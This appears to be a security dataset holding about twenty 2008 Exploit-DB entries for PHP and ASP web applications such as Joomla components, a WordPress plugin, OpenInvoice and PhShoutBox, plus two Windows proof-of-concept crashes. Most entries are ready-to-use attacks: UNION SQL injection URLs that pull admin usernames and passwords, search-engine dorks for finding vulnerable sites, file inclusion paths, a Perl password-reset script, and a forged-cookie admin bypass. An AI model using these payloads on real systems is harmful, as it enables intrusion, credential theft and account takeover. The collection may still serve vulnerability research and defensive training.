QLWD/code_shield huggingface dataset:
标题: Joomla! Component Filiale 1.0.4 - 'idFiliale' SQL Injection EDB-ID: 5488 CVE: 2008-1935 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-23 漏洞利用脚本: ########################################################################
             #                                                                      #
             #       [ Joomla Component Filiale SQL Injection ]                     #
             #                                                                      #
             ########################################################################


     [  M a f i a  C R E W  ]
##########################################
[~] Vulnerability found by: Str0xo [ Mafia Crew ]
[~] Contact: x02[at]hotmail.de
[~] Website: http://www.dz-h4ck3rz.com

[~] special tnx to: co2 
[~] Greetings: [ lina-no promises ] & [ HIs0k4 ]

##########################################
[~] ScriptName : 'Joomla'
[~] ModuleName : 'Filiale'
[~]  Version() :  1.0.4
###########################################
[~]

[~] DORK 1 :  inurl:com_filiale
[~]
###########################################

[~]

[~] [+]Demo : http://www.xxx.be/index.php?option=com_filiale

[~]
[~] [+]Exploit : /index.php?option=com_filiale&idFiliale=-5+union+select+1,password,3,4,username,6,7,8,9,10,11+from+jos_users

[~]

###########################################

# milw0rm.com [2008-04-23] URL: https://www.exploit-db.com/exploits/5488
标题: Crazy Goomba 1.2.1 - 'id' SQL Injection EDB-ID: 5481 CVE: 2008-1934 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-21 漏洞利用脚本: ##########CANAKKALE GECiLMEZ##############################

Crazy Goomba 1.2.1 SQL inj

dork:  :((  sory

author: ZoRLu 

home: ( http://www.z0rlu.ownspace.org ) ( yildirimordulari.org ) ( r00tsecurity.org ) ( securityfocus.com )

contact: trt-turk@hotmail.com & ZoRLu@w.cn ( baska msn yok taklitlerden kacInIn )

Not: msn i ekleyipte densiz densiz konusanIn sulalesini cumle alem .... La benden keylog isyetesiniz diye vermiyorum msn i. sacmalamayIn da  :((

Not: http://www.z0rlu.ownspace.org   acIklarÃ½n kullanImI ile ilgili bilgiler blogumda mevcut! naparsIn para yokk free actIk :))

###################CANAKKALE GECiLMEZ###################

http://localhost/Crazy_Goomba_1.2.1_path/commentaires.php?id=[SQL]


[SQL]


1'/**/union/**/select/**/0,pseudo,password,email,id,0,0/**/from/**/cg_joueurs/**



( [SQL] yazan yere kodu yaz admin name, password(md5) ve email adresine ulas )

md5 i kÃ½r ve giris yap

http://localhost/Crazy_Goomba_1.2.1_path/index.php?page=connexion  ( login )


sonra admin panele baglan


admin panel: 


http://localhost/Crazy_Goomba_1.2.1_path/administration/admin.php



###################CANAKKALE GECiLMEZ####################

thanx: str0ke, FaLCaTa, aRKi, the_KaM!L, ReD_KaN, iSoMiX, edish, harded, z3h!r, KoDLoK, Dr.SaLTuK, kasIrga(lavrens), w3R3m

avkidis, head_hunter and all users yildirimordulari.org & r00tsecurity.org

O Simdi Komando: iSoMiX ( CanImsIn Kardesim, KanKam Benim :))  )

Efsane: YILDIRIMORDULARI.ORG

Dersler BasladI Sanal Bitti  :(((

###################CANAKKALE GECiLMEZ####################

# milw0rm.com [2008-04-21] URL: https://www.exploit-db.com/exploits/5481
标题: KubeLance 1.6.4 - 'ipn.php' Local File Inclusion EDB-ID: 5477 CVE: 2008-2091 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-20 漏洞利用脚本: $ Script        : Kubelance All Versions  Local File Inclusion Vulnerabilities

$ Script Info   : http://demos.kubelabs.com/kubelance/

$ Download      : http://rapidshare.com/files/108095194/Kubelance.v1.6.4.PHP.NULL-DGT.rar.html

$ Author        : Crackers_Child

$ Contact       : cashr00t@hotmail.com

$ Note          : Erbabi ile vurulduysak sirtimizdan neyleyelim.Bir Yarali Kurt Misali

$ Note          : Her Yanimiz it Tuzagi . . .

$ Username Exp  : www.x.com/script_path/ipn.php?i=localfile%00

$ Greetz        : Milw0rm.Com & All Peace Warriors 

# milw0rm.com [2008-04-20] URL: https://www.exploit-db.com/exploits/5477
标题: WordPress Plugin Spreadsheet 0.6 - SQL Injection EDB-ID: 5486 CVE: 2008-1982 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-22 漏洞利用脚本: ===========================================
There's standart sql-injection in Spreadsheet <= 0.6 Plugin
# Author : 1ten0.0net1
# Script : Wordpress Plugin Spreadsheet <= 0.6 v.
# Download : http://timrohrer.com/blog/?page_id=71
# BUG :  Remote SQL-Injection Vulnerability
# Dork : inurl:/wp-content/plugins/wpSS/
Example:
http://site.com/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4+from+wp_users--&display=plain
===========================================
Vulnerable code:
ss_load.php
    $id = $_GET['ss_id'];
....
ss_functions.php:
function ss_load ($id, $plain=FALSE) {
....
    if ($wpdb->query("SELECT * FROM $table_name WHERE id='$id'") == 0) {
....

==> Visit us @ forum.antichat.ru

# milw0rm.com [2008-04-22] URL: https://www.exploit-db.com/exploits/5486
标题: Joomla! Component FlippingBook 1.0.4 - SQL Injection EDB-ID: 5484 CVE: 2008-2095 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-22 漏洞利用脚本: [  A L G E R I A     S E C U R I T Y    C R E W  ]
##########################################
#
# [ Joomla Component FlippingBook 1.0.4 SQL Injection ]
#
##########################################
[~] Vulnerability found by: cO2 [ Algeria Security Crew ]
[~] Contact: c02[at]hotmail.de
[~] Website: http://www.Dz-Secure.com
[~] Greetings: to all hackers DZ . . .
##########################################
[~] ScriptName : 'Joomla'
[~] ModuleName : 'FlippingBook'
[~]  Version() :  1.0.4
###########################################
#
# DORK 1 :  inurl:com_flippingbook
#
###########################################
[+]Demo : http://www.page-flip-tools.com/index.php?option=com_flippingbook

[+]Exploit :
 
/index.php?option=com_flippingbook&Itemid=28&book_id=null/**/union/**/select/**/null,concat(username,0x3e,password),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from/**/jos_users/*
###########################################
[+] : you can see the password in 'Title'
[+] : Open the source page to see the 'password'
###########################################

# milw0rm.com [2008-04-22] URL: https://www.exploit-db.com/exploits/5484
标题: W1L3D4 philboard 1.0 - 'philboard_reply.asp' SQL Injection EDB-ID: 5475 CVE: 2008-1939 类型: WEBAPPS 平台: ASP 发布日期: 2008-04-20 漏洞利用脚本: Philboard W1L3D4 v1.0  Multiple SQL Ä°njection Vulnerable

Author : U238 

mail   : setuid.noexec0x1[aq]hotmail[dot]com

webpage: http://noexec.blogspot.com


Script : http://www.aspindir.com/Goster/4703

Script2: http://rapidshare.de/files/39107179/philboardtrge.zip.html

-_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_


[0x1] Exploit:

http://localhost:2222/lab/philboard/philboard_reply.asp?id=1+union+select+0,1,2,3,4,5,6,7,8,username,1,9,0,1,2+from+users

http://localhost:2222/lab/philboard/philboard_reply.asp?id=1+union+select+0,1,2,3,4,5,6,7,8,password,1,9,0,1,2+from+users

*
http://localhost:2222/lab/philboard/philboard_reply.asp?topic=1+union+select+0,username,2,3,4,5,6+from+users

http://localhost:2222/lab/philboard/philboard_reply.asp?topic=1+union+select+0,password,2,3,4,5,6+from+users



-----------------------


http://localhost:2222/lab/philboard/philboard_newtopic.asp?forumid=1+union+select+0,password,2,3,4,5+from+users

http://localhost:2222/lab/philboard/philboard_newtopic.asp?forumid=1+union+select+0,username,2,3,4,5+from+users


-_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_--_-_--_--_-_-

[0x2] Admin Panel


target/philboard/philboard_admin.asp





[0x3] Error File : 

philboard_newtopic.asp

philboard_reply.asp


[0x3] Error Code : 


id = Request.QueryString("id")

recordnum = Request.QueryString("recordnum")

sql = "SELECT replies.*, forums.*, topics.locked FROM (forums INNER JOIN topics ON forums.forumid = topics.forum) INNER JOIN replies ON topics.id = replies.root WHERE replies.id = " & id




                                     [-] Patched ? [-] 

id = Request.QueryString("id")
IF Not IsNumeric(request.querystring("id")) THEN
Response.write "sql injection mu arÄ±yon yawrucum,anam? !!" 
Response.End
END IF

* This Code  , application make to included error file.. 




------------------------------
[0x4] Greatz: The_BekiR - ka0x - Ferruh Mavituna - fahn - sersak

[0x5] U238 | Web - Designer Developer Solutions

-----------------------------

# milw0rm.com [2008-04-20] URL: https://www.exploit-db.com/exploits/5475
标题: Aterr 0.9.1 - PHP5 Local File Inclusion EDB-ID: 5474 CVE: 2008-1962 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-19 漏洞利用脚本: Atter 0.9.1 Local File Inclusion Vulnerability

#################################################

Author : KnocKout
ThanX : CW ALL USERS

=================================================

Script Download : http://cms-bg.org/modules/mydownloads/viewcat.php?cid=5

Attackz :

http://localsite.com/path/include/functions.inc.php?class=[Local File]
http://localsite.com/path/include/common.inc.php?file=[Local File]

#################################################

# milw0rm.com [2008-04-19] URL: https://www.exploit-db.com/exploits/5474
标题: BlogWorx 1.0 - 'id' SQL Injection EDB-ID: 5480 CVE: 2008-1915 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-21 漏洞利用脚本: BlogWorx 'view.asp'  Multiple SQL Injection Vulnerability

Discovered By : U238

WebPage         : http://noexec.blogspot.com

mail                  : setuid.noexec0x1[a.q]hotmail[d0t].com


Script               : http://devworx.somee.com/projects/project.asp?pid=20

Script (alternativ)   : http://www.codedworld.com/download/blogworx/74764.html

Exploits   >>

http://www.example.com/lab/blogworx1.0/view.asp?id=1+union+select+0,1,2,Password,UserName,5,6+from+Users
http://www.example.com/lab/blogworx1.0/view.asp?id=1+union+select+0,1,2,Password,Password,5,6+from+Users
http://www.example.com/lab/blogworx1.0/view.asp?id=1+union+select+0,1,2,UserName,Password,5,6+from+Users

: The_BekiR  - fahn - ka0x - xarnux - Ruslan - Tevfik Cevik - Ferruh Mavituna - nettoxic  - sersak :

# milw0rm.com [2008-04-21] URL: https://www.exploit-db.com/exploits/5480
标题: OpenInvoice 0.9 - Arbitrary Change User Password EDB-ID: 5466 CVE: 2008-6524 2008-6523 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-18 漏洞利用脚本: #!/usr/bin/perl

# [ OpenInvoice 0.9 Arbitrary Change User Password Exploit ]
# Discovered && Coded By t0pP8uZz
# Discovered On: 18 April 2008
# Vendor has not been notified!

# see exploit for more details..

# Greetz: milw0rm.com, h4ck-y0u.org, CipherCrew!

use strict;
use LWP::UserAgent;
use HTTP::Cookies;

print "-+- [ OpenInvoice 0.9 Arbitrary Change User Password Exploit ] -+-\n";
print "-+-             (Discovered && Coded By t0pP8uZz)              -+-\n";
print "-+-                                                            -+-\n";
print "-+-   Discovered On: 18 April 2008 / Discovered By: t0pP8uZz   -+-\n";
print "-+- OpenInvoice 0.9 beta (and prior) Suffers from Insecure ... -+-\n";
print "-+- ...cookies and admin panel validating, combining the two.. -+-\n";
print "-+- .we can change any users password except for the 1st admin -+-\n";
print "-+-                                                            -+-\n";
print "-+- [ OpenInvoice 0.9 Arbitrary Change User Password Exploit ] -+-\n";

print "\nEnter URL (the vuln site): ";
 chomp(my $url=<STDIN>);
 
print "\nEnter UID (the user id to change pass for): ";
 chomp(my $uid=<STDIN>);
 
my $domain = $url;
my $count = ($domain =~ tr"/"");

if($count == 1) {
 $domain =~ s/\\//;
} elsif($count >= 3) {
 $domain =~ s/http:\/\///;
}

my $cjar = HTTP::Cookies->new( file => "cookies.txt", autosave => 1 );
$cjar->set_cookie(1, "oiauth", "1", "/", "6oogle.pl");
$cjar->save("cookies.txt");

my $ua     = LWP::UserAgent->new( agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1 )', cookie_jar => $cjar );
my $result = $ua->post($url."/resetpass.php", { 'uid' => $uid, 'changepass' => 'Change Password' } );

if($result->is_success() && $result->content !~ /unable to change password/i && $uid != 1) {
 print "Password successfuly changed for userid: ".$uid."\n";
 exit;
}
print "Exploit Failed! check domain is running OpenInvoice <= 0.9, Check UID isnt 1\n";
exit;

# milw0rm.com [2008-04-18] URL: https://www.exploit-db.com/exploits/5466
标题: Apartment Search Script - 'listtest.php' SQL Injection EDB-ID: 5471 CVE: 2008-1919 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-19 漏洞利用脚本: $ Script        : Apartment Search Script SQL Injection Vulnerability

$ Script Info   : http://www.yourfreeworld.com/script/apartment.asp

$ Script Price  : Only $79

$ Demo          : http://www.downlinegoldmine.com/apartment/

$ Author        : Crackers_Child

$ Contact       : cashr00t@hotmail.com

$ Note          : Erbabi ile vurulduysak sirtimizdan neyleyelim.Bir Yarali Kurt Misali

$ Note          : Her Yanimiz it Tuzagi . . .

$ Username Exp  : www.x.com/script_path/listtest.php?r=-1/**/union/**/select/**/1,admin%20from%20site_admin/*

$ Password Exp  : www.x.com/script_path/listtest.php?r=-1/**/union/**/select/**/1,password%20from%20site_admin/*

$ Admin Login   : /Site_Admin/ 

$ Greetz        : Milw0rm.Com & All Peace Warriors

# milw0rm.com [2008-04-19] URL: https://www.exploit-db.com/exploits/5471
标题: 5th Avenue Shopping Cart - 'category_id' SQL Injection EDB-ID: 5464 CVE: 2008-1921 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-18 漏洞利用脚本: Aria-Security Team (Persian Security Team)
http://Aria-Security.Net (Persian)
http://Aria-Security.com (ENG)
--------------------------------------------
5th avenue Shopping Cart SQL Injection
Greetz: AurA, Kinglet, NULL


category_list.php?category_ID=-1/**/UNION/**/SELECT/**/1,username,password,4,5,6,7,8,9,10,11,12,13,14,15/**/FROM/**/login/*

note: if error says :table login does not exist the website is using a prefix for tables.


Regards,
The-0utl4w

# milw0rm.com [2008-04-18] URL: https://www.exploit-db.com/exploits/5464
标题: AllMyGuests 0.4.1 - 'AMG_id' SQL Injection EDB-ID: 5469 CVE: 2008-1961 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-19 漏洞利用脚本: ########################################################
#
#  Found by : -=Player=-
#
#  Contacts : 282-246-419 (ICQ)
#
#  Greatz to: Lidloses_Auge, Suicide, enco, Free-Hack
#
########################################################
#
#  Script   : AllMyGuests
#
#  Site     : http://www.php-resource.net/
#
#  Dork        : "powered by AllMyGuests"
#
#  Valnu    : index.php
#
#  Parameter: AMG_id
#
#  Injection: index.php?AMG_open=comments&AMG_id=null+UNION+SELECT+1,2,3,concat_ws(0x203a20,user_name,user_password,user_email),5,6,7+from+allmyphp_user+where+user_id=1--
#
#  Example  : http://site.de/allmyguest/index.php?AMG_open=comments&AMG_id=null+UNION+SELECT+1,2,3,concat_ws(0x203a20,user_name,user_password,user_email),5,6,7+from+allmyphp_user+where+user_id=1--
#
########################################################

# milw0rm.com [2008-04-19] URL: https://www.exploit-db.com/exploits/5469
标题: SubEdit Player build 4066 - subtitle Buffer Overflow (PoC) EDB-ID: 5472 CVE: 2008-1973 类型: DOS 平台: WINDOWS 发布日期: 2008-04-19 漏洞利用脚本: /===Subedit Player build 4066 subtitle BoF vulnerability=========|
|
| SubEdit Player is a very popular player and subtitles    
| editor in Poland. It does not perform any boundery checks         
| on supplied subtitles. This causes buffer overrun and
| throwing access violation exception on group of instructions:
|
|
| 005F7C1E  |. 8902           MOV DWORD PTR DS:[EDX],EAX
| 005F7C20  |. 8950 04        MOV DWORD PTR DS:[EAX+4],EDX
|    
| I thought in first moment that this is heap overflow, but
| why does these instructions appear in subedit module? And
| why on my winxp sp2 computer this is possible? So, I think
| that this program has own kind of dynamically list structure
| and I am able to overwrite its pointers.
|
| Ok so, I am controling EAX and EDX registers. In this
| situation I am able to use technique described by c0ntex
| ( thx mate! ) to overwrite a pointer to RtlEnterCriticalSection
| in PEB structure of ntdll. Thanks to this (after about 30
| access violations when writing - exceptions handlers throw
| exceptions handlers)
| I get:
|
|   
|  {Access violation when executing [42424242]}
|                                 
|  -Tested on Windows Xp sp2 fully patched.
|  -Greatz to: mewo
|
|  -Bug discovered by grzdyl         
|
\=================================================================|
       
POC:

#!/usr/bin/python

sub = "{4143}{4200}"
sub += "B" * 4098
sub += "\x20\xf0\xfd\x7f"
sub += "A" * 398

fd = open("thematrix.txt", "w")
fd.write(sub)
fd.close()

print "FILE CREATED\nHAVE FUN!"

# milw0rm.com [2008-04-19] URL: https://www.exploit-db.com/exploits/5472
标题: 2532/Gigs 1.2.2 - Arbitrary Database Backup/Download EDB-ID: 5465 CVE: 2008-6199 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-18 漏洞利用脚本: --==+================================================================================+==--
--==+          2532|Gigs <= 1.2.2 Arbitrary Remote Database Backup/Download          +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 18 April 2008
Script Download: http://www.2532gigs.com/?download=2532Gigs_stable
DORK: N/A

Vendor Has Not Been Notified!


DESCRIPTION: 
2532|Gigs does not validate a user in "backup.php" this means any user can visit and backup.
of course some GET variables are being used but thats all.

running the below url/path on a server that is running 2532|Gigs will make a backup of the database
and save it too "http://site.com/2532gigs/backup.sql"


Vulnerability:
http://site.com/2532gigs/backup.php?export=1


NOTE/TIP: 
you must be logged in to a ordinary user account for this too work!


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+          2532|Gigs <= 1.2.2 Arbitrary Remote Database Backup/Download          +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-18] URL: https://www.exploit-db.com/exploits/5465
标题: PhShoutBox 1.5 - Insecure Cookie Handling EDB-ID: 5467 CVE: 2008-1971 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-18 漏洞利用脚本: --==+================================================================================+==--
--==+ PhShoutBox <= 1.5 (final) Insecure Cookie Handling (Arbitrary Authentication)  +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 18 April 2008
Script Download: http://phphq.net/scripts.php?p=free-scripts&id=2
DORK: inurl:"phshoutbox.php"

Vendor Has Not Been Notified!


DESCRIPTION: 
PhShoutBox suffers from insecure cookie handling, allowing the remote attacker to craft a cookie that 
makes the attacker look like a admin, this works because the admin panel only checks the password
if a password has been posted using the php vars "$_POST" if POST isnt set, then the cookies will be checked
for existance if they exist then it will grant admin.

the javascript code below is the easyiesy way to do this, just paste it in your browser whilst
at the vulnerable site, then visit "admin.php"


Vulnerability:
version 1.5:   javascript:document.cookie = "phadmin=True; path=/;";
version < 1.4: javascript:document.cookie = "ssbadmin=True; path=/;";


NOTE/TIP: 
admin login is at "/admin.php" on 1.5 final
and at "/shoutadmin.php" on 1.4 & below


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+ PhShoutBox <= 1.5 (final) Insecure Cookie Handling (Arbitrary Authentication)  +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-18] URL: https://www.exploit-db.com/exploits/5467
标题: Simple Customer 1.2 - 'contact.php' SQL Injection EDB-ID: 5468 CVE: 2008-6081 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-18 漏洞利用脚本: --==+================================================================================+==--
--==+      Simple Customer  1.2 SQL Injection Vulnerabilitys              +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 18 April 2008
Script Download: http://www.simplecustomer.com/download?file=1
DORK: N/A

Vendor Has Not Been Notified!


DESCRIPTION: 
Simple Customer is vulnerable due to MULTIPLE insecure mysql querys the querys take php $_GET variables and does
not do any sanitizing at all.

below are 2 sql injections, the first one will display admin user/pass



SQL Injection:

ADMIN: http://site.com/contact.php?id=1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(user_email,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/FROM/**/users/**/WHERE/**/user_level=1/*

USER:  http://site.com/contact.php?id=1/**/UNION/**/ALL/**/SELECT/**/1,CONCAT(user_email,char(58),user_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/FROM/**/users/**/LIMIT/**/0,1/*



NOTE/TIP: 
passwords in plain text


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !


--==+================================================================================+==--
--==+      Simple Customer  1.2 SQL Injection Vulnerabilitys              +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-18] URL: https://www.exploit-db.com/exploits/5468
标题: e107 module 123 flash chat 6.8.0 - Remote File Inclusion EDB-ID: 5459 CVE: 2008-1989 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-17 漏洞利用脚本: ###############################################################
#
# E107 Chat Module 123FlashChat Remote File Inclusion Vulnerability
#
#########################################################
#
# AUTHOR   : by_casper41
#
# Mekan       : Cyber-Warrior.Org
#
# MAÄ°L        : CWCasper@hotmail.com        
#
##########################################################
#
# Download: http://www.123flashchat.com/download/e107_mod_for_123flashchat_6.8.0.zip
#
##########################################################
# DORKS : "123flashchat.php"
##########################################################
#
# EXPLOITS :
# Http://localhost/path/123flashchat.php?e107path=Sh3LL
#
################################################################ 

# milw0rm.com [2008-04-17] URL: https://www.exploit-db.com/exploits/5459
标题: Grape Statistics 0.2a - 'location' Remote File Inclusion EDB-ID: 5463 CVE: 2008-1963 类型: WEBAPPS 平台: PHP 发布日期: 2008-04-18 漏洞利用脚本: # Name : Grape Web Statistics Remote File include Vulnerability
# Download From :http://www.quate.net/link.php?grape
# Found By : MajnOoNxHaCkEr                  
# Home Page : http://www.4rxh.com
============================================================================
# Vulne Code In File functions.php :

#Function: require

# DorK In GooGle : "Developed by Quate.net."

# Exploit:

http://WwW.4RxH.CoM/[PaTh]/includes/functions.php?location=[EV!L]

That,s It,s

Good Luck Everybody
============================================================================

# Greet To :

"RoMaNcYxHaCkEr My Master , BlackxHat" 

RoMaNTiC TeaM :"SaudiXKafoOo ,  Gn6.AlSfeeNh , Kill EyE , Ghost Of The Sky , ABOOD_700 , Ã¢â‚¬ÂSiL3nT M4n  , x-man"  (WwW.4RxH.CoM)

" O2 HaCkEr , Cutthroat hacker ,  SnakE1095 , GaMe-OvEr-haCkeRs  "

 And All My Friends

# For Contact : MajnOoNxHaCkEr@wInDoWsLiVe.CoM

# milw0rm.com [2008-04-18] URL: https://www.exploit-db.com/exploits/5463
标题: Microsoft Works 7 - 'WkImgSrv.dll' ActiveX Denial of Service (PoC) EDB-ID: 5460 CVE: 2008-1898 类型: DOS 平台: WINDOWS 发布日期: 2008-04-17 漏洞利用脚本: <html>
<head>
  <title>Microsoft Works 7 WkImgSrv.dll crash POC</title>
  <script language="JavaScript">
    function payload() {
var num = -1;
obj.WksPictureInterface = num;
  }
   </script>
</head>
 <body onload="JavaScript: return payload();">
<object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj">
</object>
 </body>
</html>

# milw0rm.com [2008-04-17] URL: https://www.exploit-db.com/exploits/5460